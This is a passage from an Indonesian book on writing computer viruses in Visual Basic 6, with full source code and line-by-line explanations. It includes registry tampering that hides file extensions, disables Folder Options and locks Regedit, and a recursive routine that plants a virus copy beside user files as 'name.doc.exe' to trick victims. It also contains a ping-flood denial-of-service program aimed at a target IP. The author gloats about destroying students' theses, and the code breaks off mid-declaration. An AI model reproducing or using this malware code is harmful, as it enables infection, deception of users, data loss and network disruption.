IDDEN\CheckedValue", 2
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOH
IDDEN\DefaultValue", 2

CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0
End Sub

78
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Private Sub Command2_Click()


'//////////Non aktifkan folder option////////////
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFo
lderOptions", 1
End Sub
Private Sub Command3_Click()
'//////////Kunci Regedit////////////
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\Disable
RegistryTools", 1
End Sub
Private Sub Command4_Click()
'//////////Buka Kunci Regedit////////////
DeleteKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\Disable
RegistryTools"
DeleteKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\Disable
Regedit"
End Sub
Private Sub Command5_Click()
'//////////Aktifkan folder option////////////
DeleteKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFo
lderOptions"
End Sub
Private Sub Command6_Click()
'////////menyembunyikan extensi file//////////
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hid
eFileExt", 1
End Sub
Private Sub Command7_Click()
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hid
eFileExt", 0
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hid
den", 1
End Sub
‘//////AKHIR SOURCE KODE FORM////////////////////////////

79
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

‘////////////////////////AWAL SOURCE KODE


MODUL///////////////////////////////////////
Public Sub CreateIntegerKey(Folder As String, Value As Integer)

Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"

End Sub

Public Sub DeleteKey(Value As String)

Dim b As Object
On Error Resume Next
Set b = CreateObject("Wscript.Shell")
b.RegDelete Value

End Sub
‘////////////////////////AKHIR SOURCE KODE
MODUL///////////////////////////////////////

80
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

3. Kemudian tekan ‘F5’ pada keyboard anda atau klik


tombol run pada Visual Basic. Akan muncul aplikasi
seperti gambar berikut :

81
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

4. Klik tombol ‘Kembali Semua’, ‘Aktifkan Folder


Option’ dan ‘Buka Kunci Regedit’ untuk membuat
keadaan menjadi normal.
5. Kemudian buka windows explorer. Lihat ekstensi file
masih terlihat dan file yang tersembunyi juga masih
tampak di windows explorer.
6. Buka regedit, dengan men-klik start -> run ->ketik
‘regedit’ (tanapa tanda petik) dan tekan enter. Cek
value registry sesuai dengan alamat registry yang
dibahas di atas tadi. Catat nilainya kalau perlu agar
tahu perubahan value yang terjadi.
7. Kemudian klik tombol ‘Do not show hidden files or
folder’, ‘Hide extension for known file types’, ‘Non
Aktifkan Folder Option’ dan ‘Kunci Regedit’.
8. Kemudian coba buka windows explorer, lihat ekstensi
di tiap-tiap file yang ditampilkan, ada? Lihat file-file
yang mempunyai atribut ‘hidden’, ada? Tidak terlihat
bukan.
9. Klik Menu Tools. Lihat apakah ada lagi ‘Folder
Options’- nya? Jawabannya tentu saja tidak ada.
10. Coba jalankan regedit, dengan klik start -> run -> ketik
regedit dan tekan enter, bisa tidak? Pasti muncul pesan
seperti gambar berikut ini.

82
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Uhehehehe….Tentu anda bisa menjawab pertanyaan di


atas yaitu satu kata TIDAK. Jika regedit masih dapat muncul atau
Folder Options masih ada maka restart komputer anda. Kemudian
ulangi langkah di atas dari poin nomor 6.

Penjelasan Kode

Untuk penjelasan kode dibahas mulai dari pembuatan


kode modul, karena dalam kode modul inilah penulisan ke registry
windows dilakukan.

Public Sub CreateIntegerKey(Folder As String, Value As


Integer)

- Awal dari sub modul CreateIntegeKey

Dim b As Object

83
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

- Mendifinisikan b sebagai objek

On Error Resume Next


- Jika ada error langsung dilakukan pengeksekusian kode
selanjutnya

Set b = CreateObject("wscript.shell")

- Mengisi variabel b dengan object CreateObject(“wscript.shell”).


Pada kode ini dilakukan penggabungan antara vbs dengan
pemrograman registry. Hal ini akan diterangkan lebih lanjut pada
sub bab Kode Pemicu.

b.RegWrite Folder, Value, "REG_DWORD"


- Melakukan penulisan registry windows dengan jenis value dword

End Sub
- Akhir dari sub modul CreateIntegeKey

Public Sub DeleteKey(Value As String)


- Awal dari sub modul DeleteKey yang berguna untuk menghapus
key registry

Dim b As Object
- Mendifinisikan b sebagai objek

On Error Resume Next


- Jika ada error langsung dilakukan pengeksekusian kode
selanjutnya

Set b = CreateObject("Wscript.Shell")

84
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

- Mengisi variabel b dengan object CreateObject(“wscript.shell”).

b.RegDelete Value
- Melakukan penghapusan value registry windows menggunakan
metode vbs

End Sub
- Akhir dari sub modul DeleteKey

Nah selanjutnya kita membahas kode yang ada di form, berguna


untuk memberi nilai pada value registry sesuai dengan fungsinya, misalnya
menyembunyikan menu Folder Options, menyembunyikan ekstensi file
dan file yang beratribut hidden dan fungsi – fungsi lainnya.

CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Ex
plorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue
", 1
- Membuat fungsi pada alamat registry :

HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
Folder\Hidden\SHOWALL\

Dengan value CheckedValue bernilai 1, berguna untuk mengeset nilai


default 1 penyembunyian file beratribut hidden.

CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Ex

85
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

plorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue
", 1
- Membuat fungsi pada alamat registry :

HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
Folder\Hidden\SHOWALL\DefaultValue

Dengan value DefaultValue bernilai 1, berguna untuk mengeset nilai


default 1 penyembunyian file beratribut hidden.

CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Ex
plorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValu
e", 2
- Membuat fungsi pada alamat registry :

HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
Folder\Hidden\NOHIDDEN\

Dengan value CheckedValue bernilai 2, berguna untuk mengeset nilai


default 2 penyembunyian file beratribut hidden.

CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Ex
plorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValu
e", 2
- Membuat fungsi pada alamat registry :

HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
Folder\Hidden\NOHIDDEN\

Dengan value DefaultValue bernilai 2, berguna untuk mengeset nilai


default 2 penyembunyian file beratribut hidden.

86
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Ex
plorer\Advanced\Hidden", 0
- Membuat fungsi pada alamat registry :

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\

Dengan value Hidden bernilai 0, berguna untuk mengeset nilai default 2


penyembunyian file beratribut hidden.
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Po
licies\Explorer\NoFolderOptions", 1
- Membuat fungsi pada alamat registry :

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\

Dengan value NoFolderOptions bernilai 1, berguna untuk


menyembunyikan Menu Folder Options pada Windows Explorer.

CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Po
licies\System\DisableRegistryTools", 1
- Membuat fungsi pada alamat registry :

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\

Dengan value DisableRegistryTools bernilai 1, berguna untuk mengunci


Regedit.

DeleteKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Po
licies\System\DisableRegistryTools"
- Menghapus fungsi pada alamat registry :

87
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\Dis
ableRegistryTools

Dengan value DisableRegistryTools, berguna untuk membuka kunci


Regedit.
DeleteKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Po
licies\Explorer\NoFolderOptions"
- Menghapus fungsi pada alamat registry :

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\

Dengan value NoFolderOptions, berguna untuk Mengaktifkan menu


Folder Options pada windows explorer.

CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Ex
plorer\Advanced\HideFileExt", 1
- Membuat fungsi pada alamat registry :

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\

Dengan value HideFileExt bernilai 1, berguna untuk menyembunyikan


ektensi file.

CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Ex
plorer\Advanced\HideFileExt", 0
- Membuat fungsi pada alamat registry :

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
HideFileExt

Dengan value HideFileExt bernilai 0, berguna untuk menampilkan


ekstensi file.

88
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Ex
plorer\Advanced\Hidden", 1
- Membuat fungsi pada alamat registry :

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
Hidden

Dengan value Hidden bernilai 1, berguna untuk menampilkan seluruh file


yang beratribut hidden.

Kode Manipulasi

Pada sub bab ini kita masuk ke pembuatan kode


manipulasi. Mungkin inilah bagian yang anda suka. Anda bisa
memanipulasi dengan cara apa pun, baik dengan cara halus,
maupun cara kejam, baik hanya menampilkan pesan atau
mengganti file berekstensi .doc, .xls bahkan melakukan format atau
menghapus file system sehingga windows tidak dapat berjalan
secara normal. Wah, wah mengerikan yah. Tetapi sebenarnya lebih
mengerikan mengganti atau menghapus file berekstensi tertentu,
mungkin .doc yang biasanya berisi file Tugas Akhir, Skripsi (bagi
yang mahasiswa) atau kerjaan kantor (bagi karyawan) dan lain-
lain. Bagaimana seandainya jika file tersebut hilang,…wuah tentu
akan mengerikan sekali kan, seolah-olah bumi berhenti berputar,
apalagi para mahasiswa yang tinggal menempuh tugas akhir, tiba-
tiba file skripsinya hilang atau terinfeksi virus, wahhh….bisa-bisa
jadi gila. Sebenarnya ada solusi singkat dan bijak untuk

89
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

menghindari hal ini. Anda cukup mem-backup file penting ke


disket, cd, atau flashdisk. Pokoknya di backup lebih dari satu
tempat, entah itu di dalam cd 2 buah, disket 2 buah. Mungkin ini
hal sepele yah, tapi jika dilakukan dan dijadikan kebiasaan cukup
membantu. Bayangkan, perusahaan besar saja perlu membackup
data pentingnya setiap hari, apalagi kita. Mungkin memang tidak
penting bagi orang lain, tapi sangat penting sekali, sekali lagi
sangat penting sekali bagi kita yang sedang menempuh proses
kelulusan (deu…jadi inget pas mahasiswa).

Mencari dan Mengganti Suatu File Tertentu

Teknik yang satu ini wajib dipelajari. Teknik mencari dan


mengganti suatu nama file berguna untuk menyebarkan file virus
ke direktori - direktori yang belum tertular virus. Dengan cara
mengganti file yang belum terinfeksi menjadi file virus. Ngerti?
Beluuuummmm….OK baeklah…misalnya ada file skripsi.doc
merupakan file dokumen MS Word yang berisi file skripsi kalian
dari Bab I Pendahuluan sampai Bab IV Kesimpulan dan Saran
(Hehehehehe……). Dengan menggunakan teknik ini file
skripsi.doc akan menjadi file skripsi.doc.exe atau file virus. Hih!
Kok bisa mas….apa gak terlalu kejam….ya namanya virus jadi
harus kejam dong! Tapi dalam percobaan ini kita akan mengganti
file yang berekstensi .cob saja, agar eksperimen ini lebih aman
untuk anda.

90
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Ikuti langkah berikut untuk mengetik source code kode manipulasi


virus :
1. buat project baru yang terdiri dari 1 form dan 1 button atau
tombol.
2. Copy file ‘coba1.cob’ dan ‘coba2.cob’ yang ada di CD pada
direktory \kode manipulasi\ .
3. Ketik source code di bawah ini, jika malas buka kode
manipulasi yang ada di CD pada direktory \kode
manipulasi\ dengan nama file ‘manipulasi.vbp’.

Option Explicit
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260

Private Type FILETIME


dwLowDateTime As Long
dwHighDateTime As Long
End Type

91
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Private Type WIN32_FIND_DATA


dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type

Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _


(ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _
(ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _


(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As
Long) As Long

Screen.MousePointer = vbDefault

End Sub
Private Function StripNulls(f As String) As String

StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1)


End Function

Private Function AddBackslash(S As String) As String

If Len(S) Then
If Right$(S, 1) <> "\" Then
AddBackslash = S & "\"
92
Pemrograman
Else Visual Basic
AddBackslash = S
End If
Else
AddBackslash = "\"
End If
End Function
Seni Pemrograman Virus Menggunakan Visual Basic

Private Sub Command1_Click()

GetFiles "c:", True, "*.cob"

MsgBox "Pencarian selesai", 0, "Tes Cari"

End Sub

Private pbMessage As Boolean

Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")

Screen.MousePointer = vbHourglass

Dim WFD As WIN32_FIND_DATA


Dim hFile As Long, fPath As String, fName As String

fPath = AddBackslash(Path)

Dim sPattern As String


sPattern = Pattern
fName = fPath & sPattern

hFile = FindFirstFile(fName, WFD)


If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <>
FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath & StripNulls(WFD.cFileName) &
".exe", 1
End If

If hFile > 0 Then


While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> 93
Pemrograman Visual Basic Then
FILE_ATTRIBUTE_DIRECTORY)
CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath & StripNulls(WFD.cFileName) &
".exe", 1
End If
Wend
End If
If SubFolder Then

hFile = FindFirstFile(fPath & "*.*", WFD)


Seni Pemrograman Virus Menggunakan Visual Basic

While FindNextFile(hFile, WFD)


If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) =
FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".."
Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
Wend

End If
FindClose hFile
Screen.MousePointer = vbDefault
End Sub

Private Function StripNulls(f As String) As String


StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1)
End Function

Private Function AddBackslash(S As String) As String


If Len(S) Then
If Right$(S, 1) <> "\" Then
AddBackslash = S & "\"
Else
AddBackslash = S
End If
Else
AddBackslash = "\"
End If
End Function
94
Pemrograman
Private Sub Visual Basic
Command1_Click()
GetFiles "c:", True, "*.cob"

MsgBox "Pencarian selesai", 0, "Tes Cari"


End Sub
Seni Pemrograman Virus Menggunakan Visual Basic

Glup….glup….banyak sekali sih. Iya dong…itung-itung


buat latian ngetik n programming…setuju…..Ya baeklah kita
lanjutkan ke pembahasan kode manipulasi file. Source code
manipulasi memang terdiri dari banyak kode, tetapi jika diamati
hanya beberapa baris yang menjadi source code utamanya.

Kode Pencarian File

Kode Pencarian File berguna untuk mencari file yang


dimaksud. Metode pencarian file sama dengan metode windows,
ada pencarian file tertentu atau pencarian memakai wild card.
Contoh mencari file tertentu misalnya kernell32.dll, config.sys dan
lain-lain, anda cukup mengetik nama file yang anda inginkan.
Selain itu anda juga bisa mencari file dengan menggunakan wild
card ( * atau ?). Contoh anda ingin mencari seluruh file berekstensi
doc, tinggal menulis pada source code ‘*.doc’ (tanpa tanda petik) ,
atau anda ingin mencari file berekstensi txt maka tulis ‘*.txt’.
Untuk source kodenya dijelaskan sebagai berikut :

95
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Private Sub Command1_Click()

GetFiles "c:", True, "*.cob"

MsgBox "Pencarian selesai", 0, "Tes Cari"

End Sub

Private Sub Command1_Click()


- Awal dari sub

GetFiles "c:", True, "*.cob"


- Fungsi untuk mencari file, format penulisan fungsinya adalah

GetFiles "c:", True, "*.cob"

1 2 3 4

Penjelasan :
1: Getfiles -> Nama fungsi

96
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

2: “c:” -> drive yang dipilih anda bisa mengganti karakter ‘c’
menjadi ‘d’,’e’,’f’ dan lain
lain sesuai drive yang diinginkan
3: True -> menunjukkan apakah yang dicari merupakan subfolder
atau bukan, jika berupa
folder maka pencarian file akan ditelusuri sampai sub folder
terakhir.
4: nama file yang dicari, bisa menggunakan wild card seperti ‘*’
atau ‘?’. Anda dapat
mengubah nama file yang diinginkan, misalnya ingin mencari
satu file saja yaitu file kernel32.dll maka ketik ‘kernell32.dll’ atau
ingin mencari file lebih dari satu yaitu seluruh file berekstensi .doc,
cukup ganti ‘*.doc’.

Jika ingin mengetahui source code Getfiles, cukup sorot


Getfiles pada source code, klik kanan kemudian pilih ‘Definition’,
maka VB akan menunjukkan letak source code fungsi getfiles
ditulis. Source code Getfiles sebagai berikut:

Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String =


"*.*")

Screen.MousePointer = vbHourglass

Dim WFD As WIN32_FIND_DATA


Dim hFile As Long, fPath As String, fName As String
fPath = AddBackslash(Path)
Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern
hFile = FindFirstFile(fName, WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <>
FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath &
StripNulls(WFD.cFileName) & ".exe", 1
End If
97
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

If hFile > 0 Then


While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <>
FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath &
StripNulls(WFD.cFileName) & ".exe", 1
End If
Wend
End If

If SubFolder Then
hFile = FindFirstFile(fPath & "*.*", WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) =
FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then

GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern


End If

While FindNextFile(hFile, WFD)


If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) =
FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then

GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern


End If
Wend

End If
FindClose hFile
Screen.MousePointer = vbDefault 98
Pemrograman Visual Basic
End Sub
Seni Pemrograman Virus Menggunakan Visual Basic

Jika diteliti secara seksama, bisa dilihat source code


fungsi GetFiles mempunyai kode manipulasi file yang terletak di
tengah-tengah :

Potongan Kode sebelumnya



hFile = FindFirstFile(fName, WFD)


If (hFile > 0) And ((WFD.dwFileAttributes And
FILE_ATTRIBUTE_DIRECTORY) <>
FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath
& StripNulls(WFD.cFileName) & ".exe", 1
End If

99
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Potongan Kode sesudahnya

Kode dibawah ini berfungsi untuk menyalin file dari direktori satu
ke direktori lainnya.

CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath


& StripNulls(WFD.cFileName) & ".exe", 1

Mari kita membahas fungsi ini sepotong demi sepotong

CopyFile ->Fungsi penyalinan file atau mengcopy file ke direktori


satu ke direktori lain dengan nama file tertentu.

"c:\windows\tes_di_direktory_windows.exe" -> nama dan letak file


sumber yang akan dikopikan. INGAT!!!Pada Kode Penggandaan
kita pernah mengkopikan file virus ke dalam direktori ‘c:\windows’
dengan nama ‘tes_direktory_windows.exe’.

fPath & StripNulls(WFD.cFileName) & ".exe" -> fPath dan


WFD.cFileName adalah variabel yang berisi nama dan direktori
file yang kita cari. Tadi kita tentukan file yang kita cari adalah file
yang berekstensi .cob. Seandainya ditemukan file ‘data.cob’ pada

100
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

direktori ‘c:\Program Files’, maka isi variabel fPath adalah


‘c:\Program Files’ dan WFD.cFileName adalah ‘data.cob’.
Sedangkan & ".exe" adalah untuk menjadikan file yang disalin
mempunyai ekstensi .exe. Jika digabungkan ketiga-tiganya menjadi
‘c:\Program Files\data.cob.exe’. Hal ini berguna untuk mengelabui
user.

Contoh, seandainya user mempunyai file data.doc dengan


icon MSWord . Dengan fungsi ini file data.doc akan dicopy
namanya menjadi data.doc.exe tetapi iconnya tetap MSWord. Dan
file data.doc dihapus atau diberi nama lain. Sehingga ketika user
ingin membuka file data.doc, yang dieksekusi sebenarnya file virus
yaitu data.doc.exe. Bayangkan jika ada 1000 orang user bodoh
yang seperti itu. Berapa cepat virus kita menyebar, berapa banyak
file .doc yang dimanipulasi, berapa banyak orang yang akan stress
karena filenya hilang, berapa banyak….hush hush hush! Sudah
sudah…kembali lagi ke jalan yang benar, makanya sudah dibilang
jangan beli buku ini kalau tidak mau menjadi jahat :-) .

Serupa tapi tak sama

Coba lihat gambar potongan windows explorer di bawah


ini :

101
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Sekilas file-file di atas adalah file microsoft word semuanya dan


berekstensi .doc. Tetapi kalo diteliti lebih lanjut, yaitu dengan
mengatur setting pada windows explorer untuk menunjukkan
ekstensi file maka akan kelihatan perbedaannya. Coba ikuti
langkah berikut.

1. Klik Tools -> Folder Options -> View maka akan terlihat
dialog box sbb:

102
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

2. Klik atau hilangkan centang pada Hide extensions for


known file types, atau kotak yang ditandai pada gambar di
atas dan klik OK Apa yang terjadi?

103
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

3. Di windows explorer seluruh filenya akan ditampilkan


ekstensinya. Maka terlihat perbedaannya sekarang. File
Aljabar dan Linear tidak mempunyai ekstensi .doc, tetapi
ekstensi .exe. Anda patut mencurigai yang demikian, icon
file microsoft word tetapi ekstensi .exe. File-file lain yang
patut dicurigai biasanya .scr, .vbs, .js, .htt, .com

Kode Melakukan ping / DoS attack

104
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Kemampuan untuk melakukan Dos Attack sebenarnya


tidak wajib dimiliki oleh virus, tetapi karena perkembangan
teknologi internet dan jaringan yang begitu cepat, fitur tambahan
ini sebaiknya dipunyai. Dos atau Denial of Service Attack adalah
metode penyerangan jaringan dengan cara membanjiri jaringan
dengan mengirim data dari komputer satu ke komputer lain. Sangat
efisien jika yang diserang adalah komputer server, maka jaringan
yang ditangani atau disebut down link / client dari server tersebut
akan ikut lambat, karena lalu-lintas jaringannya dipenuhi oleh file-
file sampah.
Wah gak mudeng (baca : mengerti)….coba tolong jelasin
konsep DoS attack mas. Baeklah, mungkin jika digambarkan
dengan ilustrasi akan lebih mengerti.

Melakukan DoS attack


dengan mengirim file
sampah yang ukurannya
Server besar Pelaku
1

Client Client Client


1 2 3

105
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Karena server menerima beban begitu besar, maka untuk


melakukan broadcast ke jaringan akan lambat, karena jaringan
dibebani file-file yang besar pula sehingga lalu-lintasnya padat.
Jika penyerangan ini dilakukan terus-menerus akibatnya menjadi
parah, server hang atau ngadat (down), sehingga untuk
menjalankannya harus direstart ulang. Web server di internet yang
mendapat serangan seperti ini, situsnya tidak dapat diakses, kadang
bisa diakses tetapi sangat lambat sekali. Ya walaupun tidak
seefektif menggunakan metode pencurian password, paling tidak
kita dapat memperlambat lalu lintas jaringan. Tidak perlu sampai
satu negara yang terkena imbas seperti ini, satu kota saja cukup
membuat sysadmin jaringan tersebut kewalahan.
Ada banyak macam jenis penyerangan menggunakan ping
atau serangan DoS attack seperti flood, smurf-attack, ping-o-death,
syn attack, echo_reply dan lain-lain. Kita akan menggunakan
metode echo_reply untuk contoh pada program virus ini. Nah
untuk lebih jelasnya, ikuti langkah berikut :

1. Siapkan komputer lebih dari satu atau yang terhubung ke


jaringan atau internet.
2. IP yang ingin di serang harus diketahui, kalau tidak ada
cukup nama hostnya, seperti www.yahoo.com ,
www.google.com dan lain-lain.
3. Buat 1 project dengan 1 form, 1 tombol, 1 textbox dan 1
modul.
4. Copy source code di bawah ini, anda dapat melihat source
code DoS attack ini di CD dengan nama file project1.vbp
pada direktori \kode manipulasi\Melakukan Dos Attack\

106
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

‘//////////awal kode form////////////////////////


Private Sub Command1_Click()
Dim ECHO As ICMP_ECHO_REPLY
Dim angka As Long

For angka = 1 To 65000


Call Ping(text1.text, ECHO, 30)
Next angka

End Sub

Private Sub Form_Load()


Text1.Text = "192.168.17.69"
End Sub
‘//////////awal kode form////////////////////////

107
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

‘//////////AWAL SOURCE KODE MODUL/////////////////////////////////


Public Const IP_STATUS_BASE = 11000
Public Const IP_SUCCESS = 0
Public Const IP_BUF_TOO_SMALL = (11000 + 1)
Public Const IP_DEST_NET_UNREACHABLE = (11000 + 2)
Public Const IP_DEST_HOST_UNREACHABLE = (11000 + 3)
Public Const IP_DEST_PROT_UNREACHABLE = (11000 + 4)
Public Const IP_DEST_PORT_UNREACHABLE = (11000 + 5)
Public Const IP_NO_RESOURCES = (11000 + 6)
Public Const IP_BAD_OPTION = (11000 + 7)
Public Const IP_HW_ERROR = (11000 + 8)
Public Const IP_PACKET_TOO_BIG = (11000 + 9)
Public Const IP_REQ_TIMED_OUT = (11000 + 10)
Public Const IP_BAD_REQ = (11000 + 11)
Public Const IP_BAD_ROUTE = (11000 + 12)
Public Const IP_TTL_EXPIRED_TRANSIT = (11000 + 13)
Public Const IP_TTL_EXPIRED_REASSEM = (11000 + 14)
Public Const IP_PARAM_PROBLEM = (11000 + 15)
Public Const IP_SOURCE_QUENCH = (11000 + 16)
Public Const IP_OPTION_TOO_BIG = (11000 + 17)
Public Const IP_BAD_DESTINATION = (11000 + 18)
Public Const IP_ADDR_DELETED = (11000 + 19)
Public Const IP_SPEC_MTU_CHANGE = (11000 + 20)
Public Const IP_MTU_CHANGE = (11000 + 21)
Public Const IP_UNLOAD = (11000 + 22)
Public Const IP_ADDR_ADDED = (11000 + 23)
Public Const IP_GENERAL_FAILURE = (11000 + 50)
Public Const MAX_IP_STATUS = 11000 + 50
Public Const IP_PENDING = (11000 + 255)
Public Const PING_TIMEOUT = 500
Public Const MAX_WSADescription = 256
Public Const MAX_WSASYSStatus = 128
Public Const ERROR_SUCCESS As Long = 0
Public Const WS_VERSION_REQD As Long = &H101
Public Const WS_VERSION_MAJOR As Long = _
WS_VERSION_REQD \ &H100 And &HFF&
Public Const WS_VERSION_MINOR As Long = _
WS_VERSION_REQD And &HFF&
Public Const MIN_SOCKETS_REQD As Long = 1
Public Const SOCKET_ERROR As Long = -1

Public Type ICMP_OPTIONS


TTL As Byte
Tos As Byte
Flags As Byte
OptionsSize As Byte
OptionsData As Long
End Type

108
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Public Type ICMP_ECHO_REPLY


Address As Long
status As Long
RoundTripTime As Long
DataSize As Integer
Reserved As Integer
DataPointer As Long
Options As ICMP_OPTIONS
Data As String * 250
End Type

Public Declare Function IcmpCreateFile Lib "icmp.dll" () As Long

Public Declare Function IcmpCloseHandle Lib "icmp.dll" _


(ByVal IcmpHandle As Long) As Long

Public Declare Function IcmpSendEcho Lib "icmp.dll" _


(ByVal IcmpHandle As Long, _
